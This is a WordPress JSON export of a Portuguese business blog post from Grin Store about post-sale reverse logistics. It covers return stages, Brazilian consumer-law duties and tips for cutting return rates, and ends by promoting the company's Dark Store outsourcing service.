{"id":39070,"date":"2023-07-05T08:00:33","date_gmt":"2023-07-05T11:00:33","guid":{"rendered":"https:\/\/www.grinstore.com.br\/blog\/?p=39070"},"modified":"2026-01-19T11:31:59","modified_gmt":"2026-01-19T14:31:59","slug":"vantagens-da-logistica-reversa","status":"publish","type":"post","link":"https:\/\/www.grinstore.com.br\/blog\/vantagens-da-logistica-reversa\/","title":{"rendered":"Vantagens da log\u00edstica reversa p\u00f3s-vendas: a estrat\u00e9gia para reverter o investimento nas opera\u00e7\u00f5es em benef\u00edcios"},"content":{"rendered":"[vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][divider line_type=&#8221;Full Width Line&#8221; line_thickness=&#8221;1&#8243; divider_color=&#8221;accent-color&#8221;][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; advanced_gradient_angle=&#8221;0&#8243; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221; gradient_type=&#8221;default&#8221;][vc_column_text]<span style=\"font-weight: 400;\">Ao contr\u00e1rio da cadeia log\u00edstica tradicional no qual o cliente recebe um produto, a log\u00edstica reversa \u00e9 quando o cliente encaminha um produto de volta a empresa. H\u00e1 tr\u00eas principais motivadores que permitem <\/span><b>dividir a log\u00edstica reversa em tr\u00eas modalidades<\/b><span style=\"font-weight: 400;\">, cada uma com suas caracter\u00edsticas particulares: <\/span><b>p\u00f3s-venda, p\u00f3s-consumo e reuso<\/b><span style=\"font-weight: 400;\">.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">O p\u00f3s-consumo envolve o envio de materiais e res\u00edduos ap\u00f3s o cliente ter usufru\u00eddo do produto para: descarte de forma segura e ecologicamente correta ou reciclagem e reaproveitamento. No reuso, o produto j\u00e1 foi e continuar\u00e1 sendo usado ap\u00f3s revenda a um novo cliente. J\u00e1 o p\u00f3s-venda \u00e9 a devolu\u00e7\u00e3o ou troca de um produto devido defeito, erro ou arrependimento de compra.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Entenda neste conte\u00fado quais s\u00e3o as etapas da <\/span><b>log\u00edstica reversa p\u00f3s-vendas<\/b><span style=\"font-weight: 400;\"> e as vantagens que a sua empresa pode ganhar ao investir na efici\u00eancia deste sistema. Por fim, confira dicas sobre como diminuir as devolu\u00e7\u00f5es e trocas de produtos e como uma<\/span><a href=\"https:\/\/www.grinstore.com.br\/blog\/o-que-e-dark-store\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\"> Dark Store<\/span><\/a><span style=\"font-weight: 400;\"> pode ser uma boa estrat\u00e9gia para o seu empreendimento.<\/span><\/p>\n<h3><span style=\"font-weight: 400;\">Entenda mais sobre a log\u00edstica reversa p\u00f3s-venda:<\/span><\/h3>\n[\/vc_column_text][vc_column_text]\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><a href=\"#logistica-reversa-pos-venda\"><span style=\"font-weight: 400;\">Quais s\u00e3o as etapas da log\u00edstica reversa p\u00f3s-venda?<\/span><\/a><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><a href=\"#investimento-logistica-reversa\"><span style=\"font-weight: 400;\">A import\u00e2ncia do investimento na log\u00edstica reversa<\/span><\/a><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><a href=\"#sistema-logistica-reversa\"><span style=\"font-weight: 400;\">Quais s\u00e3o as vantagens do sistema de log\u00edstica reversa?<\/span><\/a><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><a href=\"#taxa-logistica-reversa\"><span style=\"font-weight: 400;\">Dicas para diminuir a taxa de log\u00edstica reversa<\/span><\/a><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><a href=\"#duvidas-frequentes\"><span style=\"font-weight: 400;\">D\u00favidas frequentes<\/span><\/a><\/li>\n<\/ul>\n[\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; id=&#8221;logistica-reversa-pos-venda&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text]\n<h2><span style=\"color: #4f953b;\">Quais s\u00e3o as etapas da log\u00edstica reversa p\u00f3s-venda?<\/span><\/h2>\n<p><span style=\"font-weight: 400;\">O ponto de partida da log\u00edstica reversa ser\u00e1 o contato do cliente com a loja informando sobre o desejo de devolu\u00e7\u00e3o ou troca.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">A partir disso, as fases s\u00e3o:\u00a0<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Recolhimento da empresa na casa do cliente ou em ponto de coleta;\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Triagem para entender se o produto ser\u00e1 descartado, aproveitado integral ou parcialmente, ou retornar\u00e1 ao estoque para ser vendido novamente;<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Processo de picking e packing do novo produto a ser entregue;<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Efetua-se a nova entrega ao cliente.<\/span><\/li>\n<\/ol>\n<p><span style=\"font-weight: 400;\">Por ser um processo que <\/span><b>concilia a log\u00edstica das entregas com a da log\u00edstica reversa<\/b><span style=\"font-weight: 400;\">, o planejamento e controle s\u00e3o pontos importantes para administrar a entrada e sa\u00edda de produto no estoque. Outro ponto \u00e9 que, quanto maior o porte da empresa, mais complexos ser\u00e3o estes processos.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][image_with_animation image_url=&#8221;39072&#8243; image_size=&#8221;full&#8221; animation_type=&#8221;entrance&#8221; animation=&#8221;Fade In&#8221; hover_animation=&#8221;none&#8221; alignment=&#8221;&#8221; border_radius=&#8221;none&#8221; box_shadow=&#8221;none&#8221; image_loading=&#8221;default&#8221; max_width=&#8221;100%&#8221; max_width_mobile=&#8221;default&#8221;][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; id=&#8221;investimento-logistica-reversa&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text]\n<h2><span style=\"color: #4f953b;\">A import\u00e2ncia do investimento na log\u00edstica reversa p\u00f3s-venda<\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Como os Artigos 18 e 26 do <\/span><a href=\"https:\/\/www.procon.df.gov.br\/wp-content\/uploads\/2019\/08\/Codigo-do-consumidor-FINAL.pdf\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">C\u00f3digo de Defesa do Consumidor<\/span><\/a><span style=\"font-weight: 400;\"> (CDC) e o <\/span><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_ato2011-2014\/2013\/decreto\/d7962.htm#:~:text=DECRETO%20N%C2%BA%207.962%2C%20DE%2015%20DE%20MAR%C3%87O%20DE%202013&amp;text=Regulamenta%20a%20Lei%20n%C2%BA%208.078,a%20contrata%C3%A7%C3%A3o%20no%20com%C3%A9rcio%20eletr%C3%B4nico.\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Decreto n\u00ba 7.962\/13<\/span><\/a> <b>permitem ao cliente o direito de se arrepender da compra<\/b><span style=\"font-weight: 400;\">, caso a troca ou devolu\u00e7\u00e3o seja solicitada em at\u00e9 sete dias, os custos da log\u00edstica reversa s\u00e3o de responsabilidade da empresa. Este <\/span><b>processo afeta a experi\u00eancia e satisfa\u00e7\u00e3o do cliente<\/b><span style=\"font-weight: 400;\">, por isso, \u00e9 uma fase delicada que precisa de aten\u00e7\u00e3o e informa\u00e7\u00f5es bem explicadas em uma \u00e1rea espec\u00edfica do site orientando o cliente sobre prazos e condi\u00e7\u00f5es, como proceder, como ocorre a coleta do(s) produto(s) e o custo zero.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Quando o porte da empresa \u00e9 menor, n\u00e3o \u00e9 t\u00e3o simples perceber como a log\u00edstica reversa pode impactar o financeiro da empresa. Entretanto, conforme pesquisa realizada pela Ebit|Nielsen citada no site <\/span><a href=\"https:\/\/www.ecommercebrasil.com.br\/noticias\/logistica-reversa-compras-devolvidas-ou-trocadas\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">E-commerce Brasil<\/span><\/a><span style=\"font-weight: 400;\">, <\/span><b>a taxa de devolu\u00e7\u00e3o ou troca \u00e9 cerca de 30% no cen\u00e1rio das compras \u00e0 dist\u00e2ncia (meios digitais ou telefone)<\/b><span style=\"font-weight: 400;\">.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Ent\u00e3o, independente do porte da empresa, essa taxa m\u00e9dia de solicita\u00e7\u00e3o de log\u00edstica reversa \u00e9 alta e aumenta os custos, por isso, o ideal \u00e9 que o investimento em planejamentos e estrat\u00e9gias aconte\u00e7a antes da empresa ser afetada com diminui\u00e7\u00e3o da lucratividade ou perda de clientes.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; id=&#8221;sistema-logistica-reversa&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text]\n<h2><span style=\"color: #4f953b;\">Quais s\u00e3o as vantagens do sistema de log\u00edstica reversa?<\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Apesar da log\u00edstica reversa apresentar alta taxa em qualquer segmento, h\u00e1 setores que apresentam diversos fatores que justificam o alto n\u00famero de troca ou devolu\u00e7\u00e3o. Um exemplo disso \u00e9 setor de vestu\u00e1rio, que pode ter como motivo: tamanho errado, cliente n\u00e3o se sentir confort\u00e1vel, insatisfa\u00e7\u00e3o com material, cor diferente do imaginado a partir de foto do site, entre outros motivos.<\/span><\/p>\n<p><b>Leia mais: <\/b><a href=\"https:\/\/www.grinstore.com.br\/blog\/desafios-ecommerce-roupa\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Os principais desafios log\u00edsticos dos e-commerces de roupas<\/span><\/a><\/p>\n<p><span style=\"font-weight: 400;\">Ent\u00e3o, <\/span><b>o investimento em processos e infraestrutura<\/b> <b>pensados especificamente na aplica\u00e7\u00e3o da log\u00edstica reversa na rotina da empresa \u00e9 uma<\/b> <b>estrat\u00e9gia para ser inclu\u00edda no plano de a\u00e7\u00e3o<\/b><span style=\"font-weight: 400;\">. Apesar do motivo principal ser a precau\u00e7\u00e3o a grandes preju\u00edzos da empresa, \u00e9 poss\u00edvel extrair vantagens da log\u00edstica reversa.\u00a0<\/span><\/p>\n<h3><span style=\"font-weight: 400;\">Aumento da efici\u00eancia e diminui\u00e7\u00e3o de erros<\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Um dos motivos de trocas e devolu\u00e7\u00f5es \u00e9 o recebimento do pedido errado. Ent\u00e3o, uma das solu\u00e7\u00f5es \u00e9 investir na efici\u00eancia e controle das etapas. Assim, os processos ficam mais r\u00e1pidos e assertivos, <\/span><b>diminuindo os obst\u00e1culos resultantes em erros e aumentando a margem de lucratividade da empresa<\/b><span style=\"font-weight: 400;\">, j\u00e1 que ser\u00e1 necess\u00e1rio menos tempo para realizar as tarefas.\u00a0<\/span><\/p>\n<h3><span style=\"font-weight: 400;\">Rela\u00e7\u00e3o com o cliente<\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Outro investimento importante para a log\u00edstica reversa \u00e9 a comunica\u00e7\u00e3o p\u00f3s-venda com o cliente para oferecer suporte em casos de devolu\u00e7\u00e3o. Ao simplificar o processo da troca ou devolu\u00e7\u00e3o, a empresa transmite confian\u00e7a ao cliente e oferece uma boa experi\u00eancia.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Por outro lado, se o processo for ruim, a sua empresa provavelmente receber\u00e1 cr\u00edticas em sites de avalia\u00e7\u00e3o de servi\u00e7os. Como eles s\u00e3o frequentemente utilizados como decisor de compra, ver os problemas relatados por clientes insatisfeitos afastar\u00e1 potenciais clientes.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Ent\u00e3o, <\/span><b>ao manter a reputa\u00e7\u00e3o da sua empresa, voc\u00ea estar\u00e1 investindo em uma estrat\u00e9gia de crescimento<\/b><span style=\"font-weight: 400;\">.\u00a0<\/span><\/p>\n<h3><span style=\"font-weight: 400;\">Valoriza\u00e7\u00e3o e credibilidade da marca<\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Ao investir na diminui\u00e7\u00e3o dos erros, agilidade e troca ou devolu\u00e7\u00f5es simples, voc\u00ea est\u00e1 investindo na qualidade do seu servi\u00e7o. Isso pode ser um grande diferencial, j\u00e1 que contribui para o<\/span><b> fortalecimento da reputa\u00e7\u00e3o da marca<\/b><span style=\"font-weight: 400;\"> perante os consumidores e mercado.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Ent\u00e3o, ao investir em pontos de melhora para a log\u00edstica reversa p\u00f3s-compras, a sua empresa conseguir\u00e1 se beneficiar das vantagens da log\u00edstica reversa, pois elas contribuem para o crescimento do neg\u00f3cio.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Entretanto, como alcan\u00e7ar estes resultados?<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; id=&#8221;taxa-logistica-reversa&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text]\n<h2><span style=\"color: #4f953b;\">Dicas para diminuir a taxa de log\u00edstica reversa <\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Um dos motivos das altas solicita\u00e7\u00f5es por devolu\u00e7\u00e3o ou troca s\u00e3o os diversos gargalos operacionais das opera\u00e7\u00f5es log\u00edsticas, por abrirem espa\u00e7o para erros.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Investir no planejamento e estrutura capaz de proporcionar o servi\u00e7o adequadamente n\u00e3o \u00e9 apenas uma <\/span><b>solu\u00e7\u00e3o para diminuir as taxas de log\u00edstica reversa, \u00e9 tamb\u00e9m uma oportunidade estrat\u00e9gica da empresa obter vantagens<\/b><span style=\"font-weight: 400;\">, como melhorar a qualidade do servi\u00e7o e redu\u00e7\u00e3o de custos.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Confira algumas dicas do que fazer para diminuir a taxa de log\u00edstica reversa p\u00f3s-compras:<\/span><\/p>\n<h3><span style=\"font-weight: 400;\">Melhore a apresenta\u00e7\u00e3o dos produtos\u00a0<\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Descreva e detalhe as caracter\u00edsticas (cor, tamanho, medidas) ao m\u00e1ximo na ficha t\u00e9cnica no produto e tente retrat\u00e1-lo o mais fielmente poss\u00edvel por meio de imagens e v\u00eddeos. Explore os diversos \u00e2ngulos e d\u00ea aten\u00e7\u00e3o especial aos diferenciais e detalhes, como estampa e acabamento da pe\u00e7a. Assim, \u00e9 <\/span><b>poss\u00edvel diminui as chances do cliente ter d\u00favidas ou comprar um produto errado<\/b><span style=\"font-weight: 400;\">.\u00a0<\/span><\/p>\n<h3><span style=\"font-weight: 400;\">Invista em tecnologia e treinamento de funcion\u00e1rios\u00a0<\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Parte das devolu\u00e7\u00f5es s\u00e3o motivadas por erros na fase da separa\u00e7\u00e3o, manuseio e embalagem, resultantes em envios errados ou defeitos nos produtos. Enquanto na fase do picking o pedido \u00e9 separado e conferido, no packing h\u00e1 o manuseamento cuidadoso do produto e a sele\u00e7\u00e3o das <\/span><a href=\"https:\/\/www.grinstore.com.br\/blog\/embalagem-na-logistica\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">embalagens<\/span><\/a><span style=\"font-weight: 400;\"> mais adequadas para a prote\u00e7\u00e3o do produto no transporte.<\/span><\/p>\n<p><b>Leia mais: <\/b><a href=\"https:\/\/www.grinstore.com.br\/blog\/o-que-e-picking-e-packing\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Qual a import\u00e2ncia do picking e packing para a log\u00edstica?<\/span><\/a><\/p>\n<p><span style=\"font-weight: 400;\">Estes erros podem acontecer pela falta de treinamento do funcion\u00e1rio ou pelo excesso de tarefas realizadas manualmente. Ent\u00e3o, \u00e9 interessante<\/span><b> implementar tecnologia e treinar os funcion\u00e1rios para aumentar a assertividade e efici\u00eancia dos processos<\/b><span style=\"font-weight: 400;\">.\u00a0<\/span><\/p>\n<h3><span style=\"font-weight: 400;\">Gest\u00e3o de estoque\u00a0<\/span><\/h3>\n<p><span style=\"font-weight: 400;\">A log\u00edstica reversa p\u00f3s-vendas requer aten\u00e7\u00e3o no gerenciamento de estoque para conseguir <\/span><b>manter o fluxo din\u00e2mico e minimizar os erros operacionais<\/b><span style=\"font-weight: 400;\">. Para isso, \u00e9 necess\u00e1rio manter o estoque organizado, calcular entrada e sa\u00edda de produtos, medir as taxas de venda e devolu\u00e7\u00e3o, invent\u00e1rio atualizado, situa\u00e7\u00e3o do estoque (para saber produtos devolvidos e n\u00e3o afetar a quantidade planejada de produtos para manter em estoque).\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Outra vantagem dessa gest\u00e3o eficiente \u00e9 entender os produtos mais devolvidos e os motivos, por permitir pensar em uma solu\u00e7\u00e3o corretiva. Por exemplo, o erro pode ser causado pela vaga descri\u00e7\u00e3o do produto e para consertar a situa\u00e7\u00e3o basta melhorar as explica\u00e7\u00f5es das caracter\u00edsticas.\u00a0<\/span><\/p>\n<p><b>Leia mais: <\/b><a href=\"https:\/\/www.grinstore.com.br\/blog\/gerenciamento-estoque-menor-custo\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Gerenciamento de estoque: como reduzir o custo com uma Dark Store<\/span><\/a><\/p>\n<p><span style=\"font-weight: 400;\">Por isso, investir em um software para auxiliar na gest\u00e3o do estoque pode ser uma alternativa inteligente.\u00a0<\/span><\/p>\n<h3><span style=\"font-weight: 400;\">Rota de coleta durante as entregas<\/span><\/h3>\n<p><span style=\"font-weight: 400;\">A estrat\u00e9gia mais promissora para a coleta da log\u00edstica reversa \u00e9 incluir o recolhimento das mercadorias nas rotas de entregas, n\u00e3o sendo necess\u00e1rio criar mais uma rota para ser monitorada. Como os entregadores precisam voltar a empresa e os ve\u00edculos voltam vazios, <\/span><b>a jun\u00e7\u00e3o das rotas ajuda a economizar combust\u00edvel e tempo dos motoristas<\/b><span style=\"font-weight: 400;\">.\u00a0<\/span><\/p>\n<h3><span style=\"font-weight: 400;\">Terceiriza\u00e7\u00e3o da tarefa a empresa especializada<\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Ter uma empresa especializada realizando a opera\u00e7\u00e3o log\u00edstica diminui o trabalho e custos log\u00edsticos da sua empresa, al\u00e9m de contribuir para o aumento da satisfa\u00e7\u00e3o do cliente. Al\u00e9m disso, \u00e9 uma oportunidade para o empreendedor que n\u00e3o tem dispon\u00edvel um local f\u00edsico, facilitando a abertura de e-commerces.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Com a <\/span><b>terceiriza\u00e7\u00e3o log\u00edstica a uma Dark Store da Grin Store,<\/b><span style=\"font-weight: 400;\"> a sua opera\u00e7\u00e3o log\u00edstica contar\u00e1 com solu\u00e7\u00f5es, como: tecnologia, sistemas de integra\u00e7\u00e3o, equipe treinada, roteiriza\u00e7\u00e3o de entregas, monitoramento em tempo real, entre outros benef\u00edcios.\u00a0<\/span><\/p>\n<p><b>Leia mais: <\/b><a href=\"https:\/\/www.grinstore.com.br\/blog\/terceirizacao-logistica-o-que-e\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Terceiriza\u00e7\u00e3o log\u00edstica: o que \u00e9 e quais s\u00e3o os seus benef\u00edcios para as empresas?<\/span><\/a>[\/vc_column_text][\/vc_column][\/vc_row][vc_row 